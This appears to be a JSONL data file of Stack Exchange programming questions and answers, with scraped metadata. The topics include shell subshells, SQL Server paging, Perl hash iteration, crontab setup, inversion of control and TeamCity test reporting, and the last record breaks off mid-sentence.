{"id": "hf_db1ecf80e2ae", "question": "<p>Can anyone explain this behavior?\nRunning:</p>\n\n<pre><code>#!/bin/sh\necho \"hello world\" | read var1 var2\necho $var1\necho $var2\n</code></pre>\n\n<p>results in nothing being ouput, while:</p>\n\n<pre><code>#!/bin/sh\necho \"hello world\" &gt; test.file\nread var1 var2 &lt; test.file\necho $var1\necho $var2\n</code></pre>\n\n<p>produces the expected output:</p>\n\n<pre><code>hello\nworld\n</code></pre>\n\n<p>Shouldn't the pipe do in one step what the redirection to test.file did in the second example?  I tried the same code with both the dash and bash shells and got the same behavior from both of them.</p>\n", "question_body": "", "answer": "It's because the pipe version is creating a subshell, which reads the variable into its local space which then is destroyed when the subshell exits.\nExecute this command\n```\n```\n$ echo $$;cat | read a\n10637\n```\n```\nand use pstree -p to look at the running processes, you will see an extra shell hanging off of your main shell.\n```\n```\n|                       |-bash(10637)-+-bash(10786)\n    |                       |             `-cat(10785)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.666432"}
{"id": "hf_2ad9c0df7dd2", "question": "<p>I'm wondering if it's a good idea to make <strong>verifications</strong> in <strong>getters</strong> and <strong>setters</strong>, or elsewhere in the code.</p>\n\n<p>This might surprise you be when it comes to <strong>optimizations</strong> and <strong>speeding</strong> up the code, I think you should not make verifications in getters and setters, but in the code where you're <strong>updating</strong> your files or database. Am I wrong?</p>\n", "question_body": "", "answer": "Validation should be captured separately from getters or setters in a validation method.  That way if the validation needs to be reused across multiple components, it is available.\nWhen the setter is called, such a validation service should be utilized to sanitize input into the object.  That way you know all information stored in an object is valid at all times.\nYou don't need any kind of validation for the getter, because information on the object is already trusted to be valid.\nDon't save your validation until a database update!! It is better to\nfail fast\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.704747"}
{"id": "hf_04c2135cad22", "question": "<p>Can anyone recommend any good <strong>add-ons</strong> or <strong>plugins</strong> for <code>Microsoft Visual Studio</code>?<br>\nFreebies are preferred, but if it is worth the cost then that's fine.</p>\n", "question_body": "", "answer": "http://trolltech.com/products/qt/\">Qt Cross-Platform Application Framework\nQt is a cross-platform application framework for desktop and embedded development. It includes an intuitive API and a rich C++ class library, integrated tools for GUI development and internationalization, and support for Java™ and C++ development\nThey have a plug-in for Visual Studio that costs a bit of money, but it is worth every penny.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.752682"}
{"id": "hf_4c70c3828fcf", "question": "<p>When working on ASP.NET 1.1 projects I always used the Global.asax to catch all errors. I'm looking for a similar way to catch all exceptions in a Windows Forms user control, which ends up being a hosted IE control. What is the proper way to go about doing something like this?</p>\n", "question_body": "", "answer": "You need to handle the\n```\nSystem.Windows.Forms.Application.ThreadException\n```\nevent for Windows Forms. This article really helped me:\nhttp://bytes.com/forum/thread236199.html\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.776084"}
{"id": "hf_4762412713e5", "question": "<p>Here's what I use:</p>\n\n<pre><code>SELECT CAST(FLOOR(CAST(getdate() as FLOAT)) as DATETIME)\n</code></pre>\n\n<p>I'm thinking there may be a better and more elegant way.</p>\n\n<p>Requirements:</p>\n\n<ul>\n<li>It has to be as fast as possible (the less casting, the better).</li>\n<li>The final result has to be a <code>datetime</code> type, not a string.</li>\n</ul>\n", "question_body": "", "answer": "Your\n```\nCAST\n```\n-\n```\nFLOOR\n```\n-\n```\nCAST\n```\nalready seems to be the optimum way, at least on MS SQL Server 2005.\nSome other solutions I've seen have a string-conversion, like\n```\nSelect Convert(varchar(11), getdate(),101)\n```\nin them, which is slower by a factor of 10.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.799718"}
{"id": "hf_e5155352c864", "question": "<p>Let's say that we have an ARGB color:</p>\n\n<pre><code>Color argb = Color.FromARGB(127, 69, 12, 255); //Light Urple.\n</code></pre>\n\n<p>When this is painted on top of an existing color, the colors will blend. So when it is blended with white, the resulting color is <code>Color.FromARGB(255, 162, 133, 255);</code></p>\n\n<p>The solution should work like this:</p>\n\n<pre><code>Color blend = Color.White; \nColor argb = Color.FromARGB(127, 69, 12, 255); //Light Urple.      \nColor rgb = ToRGB(argb, blend); //Same as Color.FromARGB(255, 162, 133, 255);\n</code></pre>\n\n<p>What is <code>ToRGB</code>'s implementation?      </p>\n", "question_body": "", "answer": "It's called\nalpha blending\n.\nIn psuedocode, assuming the background color (blend) always has 255 alpha. Also assumes alpha is 0-255.\n```\n```\nalpha=argb.alpha()\nr = (alpha/255)*argb.r() + (1 - alpha/255)*blend.r()\ng = (alpha/255)*argb.g() + (1 - alpha/255)*blend.g()\nb = (alpha/255)*argb.b() + (1 - alpha/255)*blend.b()\n```\n```\nnote: you probably need to be a bit (more) careful about floating-point/int math and rounding issues, depending on language. Cast intermediates accordingly\nEdited to add:\nIf you don't have a background color with an alpha of 255, the algebra gets alot more complicated. I've done it before and it's a fun exercise left to the reader (if you really need to know, ask another question :).\nIn other words, what color C blends into some background the same as blending A, then blending B. This is sort of like calculating A+B (which isn't the same as B+A).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.823481"}
{"id": "hf_b6e772d2096a", "question": "<p>I started trying to play with Mono, mostly for fun at the moment.  I first tried to use the Visual Studio plugin that will convert a csproj into a makefile, but there seemed to be no version available for Visual Studio 2005. I also read about the MonoDevelop IDE, which sounded nice. Unfortunately, there's no pre-fab Windows package for it. I tried to follow some instructions to build it by combining dependencies from other semi-related installs. It didn't work, but that's probably because I'm a Windows-oriented guy and can barely spell \"makefile\".</p>\n\n<p>So, my question is this: What's the lowest-energy way to get up and running to try some Mono-based development on Windows?</p>\n", "question_body": "", "answer": "@Chris I have found that Visual Studio is the best IDE for developing against .NET -- I think the best way to target Mono is really just to develop and build in Visual Studio under Windows then just run those binaries directly on Linux (or whatever other Mono platform you are using).  There are free versions of Visual Studio if licensing is a concern.  If you are developing under Linux, the best software is probably Eclipse with a Mono plugin (see\nThe Mono Handbook - Eclipse\nfor installation instructions) but keep in mind it doesn't have near the amount of features or language integration Visual Studio has.\n@modesty Mono is a 3rd party open source implementation of the .NET framework which allows you to run .NET applications on platforms other than Windows.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.858226"}
{"id": "hf_9576b1b9f2c9", "question": "<p>I've always been intrigued by Map Routing, but I've never found any good introductory (or even advanced!) level tutorials on it. Does anybody have any pointers, hints, etc?</p>\n\n<p><strong>Update:</strong> I'm primarily looking for pointers as to how a map system is implemented (data structures, algorithms, etc).</p>\n", "question_body": "", "answer": "Take a look at the\nopen street map project\nto see how this sort of thing is being tackled in a truely free software project using only user supplied and licensed data and have a\nwiki containing stuff you might find interesting\n.\nA few years back the guys involved where pretty easy going and answered lots of questions I had so I see no reason why they still aren't a nice bunch.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.881302"}
{"id": "hf_e67fe0089a71", "question": "<p>I would like to make a nightly cron job that fetches my stackoverflow page and diffs it from the previous day's page, so I can see a change summary of my questions, answers, ranking, etc.</p>\n\n<p>Unfortunately, I couldn't get the right set of cookies, etc, to make this work.  Any ideas?</p>\n\n<p>Also, when the beta is finished, will my status page be accessible without logging in?</p>\n", "question_body": "", "answer": "Nice idea :)\nI presume you've used wget's\n```\n```\n--load-cookies (filename)\n```\n```\nmight help a little but it might be easier to use something like Mechanize (in Perl or python) to mimic a browser more fully to get a good spider.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.943907"}
{"id": "hf_d0d4e22dea92", "question": "<p>How do I page results in SQL Server 2005?</p>\n\n<p>I tried it in SQL Server 2000, but there was no reliable way to do this. I'm now wondering if SQL Server 2005 has any built in method?</p>\n\n<p>What I mean by paging is, for example, if I list users by their username, I want to be able to only return the first 10 records, then the next 10 records and so on.</p>\n\n<p>Any help would be much appreciated.</p>\n", "question_body": "", "answer": "You can use\n```\nthe Row_Number()\n```\nfunction.\nIts used as follows:\n```\n```\nSELECT Row_Number() OVER(ORDER BY UserName) As RowID, UserFirstName, UserLastName\nFROM Users\n```\n```\nFrom which it will yield a result set with a\n```\nRowID\n```\nfield which you can use to page between.\n```\n```\nSELECT * \nFROM \n    ( SELECT Row_Number() OVER(ORDER BY UserName) As RowID, UserFirstName, UserLastName\n      FROM Users \n    ) As RowResults\nWHERE RowID Between 5 AND 10\n```\n```\netc", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.967766"}
{"id": "hf_a60a3196fa1c", "question": "<pre><code>#include &lt;stdio.h&gt;\nint main() {\n    unsigned long long int num = 285212672; //FYI: fits in 29 bits\n    int normalInt = 5;\n    printf(\"My number is %d bytes wide and its value is %ul. A normal number is %d.\\n\", sizeof(num), num, normalInt);\n    return 0;\n}\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>My number is 8 bytes wide and its value is 285212672l. A normal number is 0.\n</code></pre>\n\n<p>I assume this unexpected result is from printing the <code>unsigned long long int</code>. How do you <code>printf()</code> an <code>unsigned long long int</code>?</p>\n", "question_body": "", "answer": "Use the ll (el-el) long-long modifier with the u (unsigned) conversion. (Works in windows, GNU).\n```\n```\nprintf(\"%llu\", 285212672);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:26.992099"}
{"id": "hf_f34c33885dbb", "question": "<p>I'm working on a project where I'm coding in C in a UNIX environment. I've been using the lint tool to check my source code. Lint has been around a long time (since 1979), can anyone suggest a more recent code analysis tool I could use ? Preferably a tool that is free.</p>\n", "question_body": "", "answer": "For C code, you definitely should definitely use\nFlexelint\n.  I used it for nearly 15 years and swear by it.  One of the really great features it has is that warnings can be selectively turned off and on via comments in the code (\"/* lint -e123*/\").  This turned out to be a powerful documentation tool when you wanted to something out of the ordinary.  \"I am turning off warning X, therefore, there is some good reason I'm doing X.\"\nFor anybody into interesting C/C++ questions, look at some of their examples on their site and see if you can figure out the bugs without looking at the hints.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.039104"}
{"id": "hf_f41b636247c6", "question": "<p>Does anyone have some good hints for writing test code for database-backend development where there is a heavy dependency on state?</p>\n\n<p>Specifically, I want to write tests for code that retrieve records from the database, but the answers will depend on the data in the database (which may change over time).</p>\n\n<p>Do people usually make a separate development system with a 'frozen' database so that any given function should always return the exact same result set?</p>\n\n<p>I am quite sure this is not a new issue, so I would be very interested to learn from other people's experience.</p>\n\n<p>Are there good articles out there that discuss this issue of web-based development in general?</p>\n\n<p>I usually write PHP code, but I would expect all of these issues are largely language and framework agnostic.</p>\n", "question_body": "", "answer": "You should look into DBUnit, or try to find a PHP equivalent (there must be one out there).  You can use it to prepare the database with a specific set of data which represents your test data, and thus each test will no longer depend on the database and some existing state.  This way, each test is self contained and will not break during further database usage.\nUpdate: A quick google search showed a\nDB unit extension\nfor PHPUnit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.097806"}
{"id": "hf_3b39e3cd28c4", "question": "<p>Occasionally, I've come across a webpage that tries to pop open a new window (for user input, or something important), but the popup blocker prevents this from happening.</p>\n\n<p>What methods can the calling window use to make sure the new window launched properly?</p>\n", "question_body": "", "answer": "If you use JavaScript to open the popup, you can use something like this:\n```\n```\nvar newWin = window.open(url);             \n\nif(!newWin || newWin.closed || typeof newWin.closed=='undefined') \n{ \n    //POPUP BLOCKED\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.122309"}
{"id": "hf_6875d0c837fc", "question": "<p>I am writing an application that needs to bring window of an external app to the foreground, and not necessarily steal focus (there is a setting the user can toggle to steal/not steal focus).</p>\n\n<p>What is the best way to go about this using the win32 API?  I have tried SetForeground() but it always steals focus and does not consistenly work.</p>\n\n<p>What is the best way to go about this? Any thoughts?</p>\n", "question_body": "", "answer": "SetForegroundWindow is supposed to steal focus and there are certain cases where it will fail.\nThe SetForegroundWindow function puts the thread that created the specified window into the foreground and activates the window. Keyboard input is directed to the window\nTry capturing the focus with\nSetCapture\nprior to making the call. Also look into different ways of bringing the window to the front: SetForeGroundWindow, SetActiveWindow, even simulating a mouse click can do this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.184361"}
{"id": "hf_fce53ae4ed3e", "question": "<p>What are the most common problems that can be solved with both these data structures?</p>\n\n<p>It would be good for me to have also recommendations on books that:</p>\n\n<ul>\n<li>Implement the structures</li>\n<li>Implement and explain the reasoning of the algorithms that use them</li>\n</ul>\n", "question_body": "", "answer": "There's a course for such things at my university:\nCSE 326\n. I didn't think the book was too useful, but the projects are fun and teach you a fair bit about implementing some of the simpler structures.\nAs for examples, one of the most common problems (by number of people using it) that's solved with trees is that of cell phone text entry. You can use trees, not necessarily binary, to represent the space of possible words that can come out of any given list of numbers that a user punches in very quickly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.209459"}
{"id": "hf_ec131e4dd69e", "question": "<p>One of the topics that seems to come up regularly on mailing lists and online discussions is the merits (or lack thereof) of doing a Computer Science Degree. An argument that seems to come up time and again for the negative party is that they have been coding for some number of years and they have never used recursion.</p>\n\n<p>So the question is:</p>\n\n<ol>\n<li>What is recursion?</li>\n<li>When would I use recursion?</li>\n<li>Why don't people use recursion?</li>\n</ol>\n", "question_body": "", "answer": "A function that calls itself\nWhen a function can be (easily) decomposed into a simple operation plus the same function on some smaller portion of the problem. I should say, rather, that this makes it a good candidate for recursion.\nThey do!\nThe canonical example is the factorial which looks like:\n```\n```\nint fact(int a) \n{\n  if(a==1)\n    return 1;\n\n  return a*fact(a-1);\n}\n```\n```\nIn general, recursion isn't necessarily fast (function call overhead tends to be high because recursive functions tend to be small, see above) and can suffer from some problems (stack overflow anyone?). Some say they tend to be hard to get 'right' in non-trivial cases but I don't really buy into that. In some situations, recursion makes the most sense and is the most elegant and clear way to write a particular function. It should be noted that some languages favor recursive solutions and optimize them much more (LISP comes to mind).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.257704"}
{"id": "hf_80d4e638ee45", "question": "<p>If I have a Perl hash with a bunch of (key, value) pairs, what is the preferred method of iterating through all the keys?  I have heard that using <code>each</code> may in some way have unintended side effects.  So, is that true, and is one of the two following methods best, or is there a better way?</p>\n\n<pre><code># Method 1\nwhile (my ($key, $value) = each(%hash)) {\n    # Something\n}\n\n# Method 2\nforeach my $key (keys(%hash)) {\n    # Something\n}\n</code></pre>\n", "question_body": "", "answer": "I may get bitten by this one but I think that it's personal preference.  I can't find any reference in the docs to each() being different than keys() or values() (other than the obvious \"they return different things\" answer.  In fact the docs state the use the same iterator and they all return actual list values instead of copies of them, and that modifying the hash while iterating over it using any call is bad.\nAll that said, I almost always use keys() because to me it is usually more self documenting to access the key's value via the hash itself.  I occasionally use values() when the value is a reference to a large structure and the key to the hash was already stored in the structure, at which point the key is redundant and I don't need it.  I think I've used each() 2 times in 10 years of Perl programming and it was probably the wrong choice both times =)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.294349"}
{"id": "hf_77028e5131f6", "question": "<p><strong>Problem:</strong> </p>\n\n<p>I have two spreadsheets that each serve different purposes but contain one particular piece of data that needs to be the same in both spreadsheets.  This piece of data (one of the columns) gets updated in spreadsheet A but needs to also be updated in spreadsheet B.</p>\n\n<p><strong>Goal:</strong></p>\n\n<p>A solution that would somehow link these two spreadsheets together (keep in mind that they exist on two separate LAN shares on the network) so that when A is updated, B is automatically updated for the corresponding record.</p>\n\n<p>*Note that I understand fully that a database would probably be a better plan for tasks such as these but unfortunately I have no say in that matter.</p>\n\n<p>**Note also that this needs to work for Office 2003 and Office 2007</p>\n", "question_body": "", "answer": "So you mean that AD743 on spreadsheet B must be equal to AD743 on spreadsheet A?  Try this:\nOpen both spreadsheets on the same\nmachine.\nGo to AD743 on spreadsheet B.\nType =.\nGo to spreadsheed A and click on\nAD743.\nPress enter.\nYou'll notice that the formula is something like '\n[path-to-file+file-name].worksheet-name!AD743\n'.\nThe value on spreadsheet B will be updated when you open it.  In fact, it will ask you if you want to update.  Of course, your connection must be up and running for it to update.  Also, you can't change the name or the path of spreadsheet A.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.318324"}
{"id": "hf_4b17cb335c26", "question": "<p>Inversion of Control (IoC) can be quite confusing when it is first encountered.</p>\n\n<ol>\n<li>What is it?</li>\n<li>Which problem does it solve?</li>\n<li>When is it appropriate to use and when not?</li>\n</ol>\n", "question_body": "", "answer": "Wikipedia Article\n. To me, inversion of control is turning your sequentially written code and turning it into an delegation structure. Instead of your program explicitly controlling everything, your program sets up a class or library with certain functions to be called when certain things happen.\nIt solves code duplication. For example, in the old days you would manually write your own event loop, polling the system libraries for new events. Nowadays, most modern APIs you simply tell the system libraries what events you're interested in, and it will let you know when they happen.\nInversion of control is a practical way to reduce code duplication, and if you find yourself copying an entire method and only changing a small piece of the code, you can consider tackling it with inversion of control. Inversion of control is made easy in many languages through the concept of delegates, interfaces, or even raw function pointers.\nIt is not appropriate to use in all cases, because the flow of a program can be harder to follow when written this way. It's a useful way to design methods when writing a library that will be reused, but it should be used sparingly in the core of your own program unless it really solves a code duplication problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.366442"}
{"id": "hf_18f816956385", "question": "<p>How do I call a function, using a string with the function's name? For example:</p>\n<pre><code>import foo\nfunc_name = &quot;bar&quot;\ncall(foo, func_name)  # calls foo.bar()\n</code></pre>\n", "question_body": "", "answer": "Given a module\n```\nfoo\n```\nwith method\n```\nbar\n```\n:\n```\n```\nimport foo\nbar = getattr(foo, 'bar')\nresult = bar()\n```\n```\n```\ngetattr\n```\ncan similarly be used on class instance bound methods, module-level methods, class methods... the list goes on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.390981"}
{"id": "hf_10b2afe4df46", "question": "<p>I have a simple page with my <code>ScriptManager</code> and my <code>UpdatePanel</code>, and my <code>ContentTemplate</code> has one <code>ListBox</code> and one Label.  I am just trying to catch its <code>OnSelectionChanged</code> so I can update the text in the <code>Label</code>.  No matter what settings I try to tweak, I always get a full-page postback.</p>\n\n<p>Is this really not going to work, or am I just screwing this up?</p>\n", "question_body": "", "answer": "You need to have Sharepoint 2007 service pack 1 -- or else there's no chance.\n(Sharepoint 2007 predates ajax 1.0 -- they built some support into service pack 1)\nNext, from a trouble shooting point of view, test that the\nexact\nsame code functions as expected when hosted in a regular asp.net page. (Literally copy and paste your code across into a fresh page, to rule out any typographical errors). Ruling sharepoint in or out of the problem area will help narrow down the solution space.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.426509"}
{"id": "hf_f021a9b77117", "question": "<p>I have a perl variable <code>$results</code> that gets returned from a service.  The value is supposed to be an array, and <code>$results</code> should be an array reference.  However, when the array has only one item in it, <code>$results</code> will be set to that value, and not a referenced array that contains that one item.</p>\n\n<p>I want to do a <code>foreach</code> loop on the expected array.  Without checking <code>ref($results) eq 'ARRAY'</code>, is there any way to have something equivalent to the following:</p>\n\n<pre><code>foreach my $result (@$results) {\n    # Process $result\n}\n</code></pre>\n\n<p>That particular code sample will work for the reference, but will complain for the simple scalar.</p>\n\n<p>EDIT: I should clarify that there is no way for me to change what is returned from the service.  The problem is that the value will be a scalar when there is only one value and it will be an array reference when there is more than one value.</p>\n", "question_body": "", "answer": "I've just tested this with:\n```\n```\n#!/usr/bin/perl -w\nuse strict;\n\nsub testit {\n\n my @ret = ();\n if (shift){\n   push @ret,1;\n   push @ret,2;\n   push @ret,3;\n}else{\n  push @ret,\"oneonly\";\n}\n\nreturn \\@ret;\n}\n\nforeach my $r (@{testit(1)}){\n  print $r.\" test1\\n\";\n}\nforeach my $r (@{testit()}){\n   print $r.\" test2\\n\";\n}\n```\n```\nAnd it seems to work ok, so I'm thinking it has something to do with the result getting returned from the service?\nIf you have no control over the returning service this might be hard one to crack", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.474770"}
{"id": "hf_b6d30845cb63", "question": "<p>How can I set up my crontab to execute X script at 11:59PM every day without emailing me or creating any logs?</p>\n\n<p>Right now my crontab looks something like this</p>\n\n<pre><code>@daily /path/to/script.sh\n</code></pre>\n", "question_body": "", "answer": "When you do crontab -e, try this:\n```\n```\n59 23 * * * /usr/sbin/myscript > /dev/null\n```\n```\nThat means: At 59 Minutes and 23 Hours on every day (*) on every month on every weekday, execute myscript.\nSee\nman crontab\nfor some more info and examples.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.498755"}
{"id": "hf_4af8024298e7", "question": "<p>I'm compiling a NAnt project on linux with TeamCity Continuous Integration server. I have been able to generate a test report by running NAnt on mono thru a Command Line Runner but don't have the options of using the report like a NAnt Runner. I'm also using MBUnit for the testing framework.</p>\n\n<p>How can I merge in the test report and display \"Tests failed: 1 (1 new), passed: 3049\" for the build?</p>\n\n<p><strong>Update:</strong> take a look at MBUnitTask its a NAnt task that uses sends messages that TeamCity expects from NUnit so it lets you use all of TeamCity's features for tests.</p>\n\n<p><a href=\"http://code.google.com/p/nant-extensions/wiki/MbUnitTask\" rel=\"noreferrer\">MBUnitTask</a></p>\n\n<p><strong>Update:</strong> Galio has better support so you just have to reference the Galio MBUnit 3.5 dlls instead of the MBUnit 3.5 dlls and switch to the galio runner to make it work.</p>\n", "question_body": "", "answer": "TeamCity watches the command line output from the build.  You can let it know how your tests are going by inserting certain markers into that output See\nhttp://www.jetbrains.net/confluence/display/TCD3/Build+Script+Interaction+with+TeamCity\n.  For example\n```\n```\n##teamcity[testSuiteStarted name='Test1']\n```\n```\nwill let TeamCity know that a set of tests started.  With MbUnit you can't output these markers while the tests are running, but you can transform the XML file that it outputs.  Here is the XSL that I am using:\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\n    <xsl:output method=\"text\"/>\n    <xsl:template match=\"/\">\n\n        <xsl:apply-templates/>\n\n    </xsl:template>\n\n    <xsl:template match=\"assemblies/assembly\">\n##teamcity[testSuiteStarted name='<xsl:value-of select=\"@name\" />']\n\n        <xsl:apply-templates select=\"//run\" />\n\n##teamcity[testSuiteFinished name='<xsl:value-of select=\"@name\" />']\n    </xsl:template>\n\n    <xsl:template match=\"run\">\n\n        <xsl:choose>\n            <xsl:when test=\"@result='ignore' or @result='skip'\">\n        ##teamcity[testIgnored name='<xsl:value-of select=\"@name\" />' message='Test Ignored']\n            </xsl:when>\n            <xsl:otherwise>\n        ##teamcity[testStarted name='<xsl:value-of select=\"@name\" />']\n            </xsl:otherwise>\n        </xsl:choose>\n\n        <xsl:if test=\"@result='failure'\">\n            ##teamcity[testFailed name='<xsl:value-of select=\"@name\" />' message='<xsl:value-of select=\"child::node()/message\"/>' details='<xsl:value-of select=\"normalize-space(child::node()/stack-trace)\"/>']\n        </xsl:if>\n\n        <xsl:if test=\"@result!='ignore' and @result!='skip'\">\n        ##teamcity[testFinished name='<xsl:value-of select=\"@name\" />']\n        </xsl:if>\n\n    </xsl:template>\n\n</xsl:stylesheet>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.523512"}
{"id": "hf_329c78109751", "question": "<p>I have seen these being used every which way, and have been accused of using them the wrong way (though in that case, I was using them that way to demonstrate a <a href=\"http://blog.gadodia.net/extension-methods-in-vbnet-and-c/\" rel=\"noreferrer\">point</a>).</p>\n\n<p>So, what do you think are the best practices for employing Extension Methods?</p>\n\n<p>Should development teams create a library of extension methods and deploy them across various projects?</p>\n\n<p>Should there be a collection of common extension methods in the form of an open source project?</p>\n\n<p><em>Update: have decided to create an organization wide extension methods library</em></p>\n", "question_body": "", "answer": "I think that it depends on what purpose the Extension methods serve.\nExtension methods that relate to specific business needs of a project (whether they are connected to basic data types or custom objects) should not be included in a library that would be distributed across multiple projects.\nExtension methods that relate to basic data types (int, string, etc) or generics that have a wider application could be packaged and distributed across projects.\nTake care not to globally include Extension methods that have little application, as they just clog up intellisense and can lead to confusion and/or misuse.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:27.559341"}
{"id": "hf_2c9efc726448", "question": "<p>Is there anyone working solo and using fogbugz out there? I'm interested in personal experience/overhead versus paper.</p>\n\n<p>I am involved in several projects and get pretty hammered with lots of details to keep track of... Any experience welcome.</p>\n\n<p>(Yes I know Mr. Joel is on the stackoverflow team... I still want good answers :)</p>\n", "question_body": "", "answer": "I use it, especially since the hosted Version of FugBugz\nis free for up to 2 people\n. I found it a lot nicer than paper as I'm working on multiple projects, and my paper tends to get rather messy once you start making annotations or if you want to re-organize and shuffle tasks around, mark them as complete only to see that they are not complete after all...\nPlus, the Visual Studio integration is really neat, something paper just cannot compete with. Also, if you lay the project to rest for 6 months and come back, all your tasks and notes are still there, whereas with paper you may need to search all the old documents and notes again, if you did not discard it.\nBut that is just the point of view from someone who is not really good at staying organized :-) If you are a really tidy and organized person, paper may work better for you than it does for me.\nBonus suggestion: Run Fogbugz on a second PC (or a small Laptop like the eeePC) so that you always have it 